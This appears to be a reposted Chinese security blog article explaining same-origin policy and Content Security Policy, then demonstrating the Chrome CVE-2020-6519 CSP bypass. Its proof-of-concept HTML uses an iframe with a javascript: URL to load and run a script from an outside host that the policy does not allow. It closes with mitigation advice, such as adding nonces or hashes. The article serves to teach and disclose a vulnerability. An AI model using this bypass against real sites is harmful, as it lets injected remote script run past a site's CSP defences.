Chrome CVE-2020-6519 CSP Bypass
The following article is from EDI安全 Author echo_d
文章来源:EDI安全
01
0x01 背景
网站的安全模式源于“同源策略”,web浏览器允许第一个web页面中的脚本访问页面中的数据,但前提是两个web页面具有相同的源。此策略防止一个页面的恶意脚本通过该页面的文档访问另一个网页上的敏感数据。
规则:协议、主机、和端口号
”同源策略”,简而言之,就是说一个页面的资源只能从与之同源的服务器获取,而不允许跨域获取.这样可以避免页面被注入恶意代码,影响安全.但是这个策略是个双刃剑,挡住恶意代码的同时也限制了前端的灵活性。
通过csp我们可以制定一系列的策略,从而只允许我们页面向我们允许的域名发起跨域请求,而不符合我们策略的恶意攻击则被挡在门外。
02
0x02
CSP全称Content Security Policy ,可以直接翻译为内容安全策略,为了页面内容安全而制定的一系列防护策略. 通过CSP所约束的的规则,指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
CSP example
<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'">demo
<html> <head> <meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'"> </head> <body> <div id="LOG"></div> <script src="http://weixin.qq.com/demo.js"></script> <script src="http://eval.edisec.com/a.js"></script> </body></html>可以看到,通过设置允许加载的远程资源地址后,weixin.qq.com 放了一个不存在的js,返回404,显然是可以加载的。
Bypass CSP
poc.html
<html> <head> <meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'"> </head> <body> <div id="LOG"></div>1 <script src="http://weixin.qq.com/demo.js"></script> <script src="http://eval.edisec.com/a.js"></script>
</body> <script type="text/javascript">document.write("<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"http://eval.edisec.com/a.js\";document.body.appendChild(s);'></iframe>")</script></html>alert("EDISEC Bypass test success!");
对Content-Security-Policy
修复方式
确保CSP规则的正确性和有效性;
基于JS 进行检测
在CSP的基础上,添加随机数或哈希来额外增加一层防护
推荐文章++++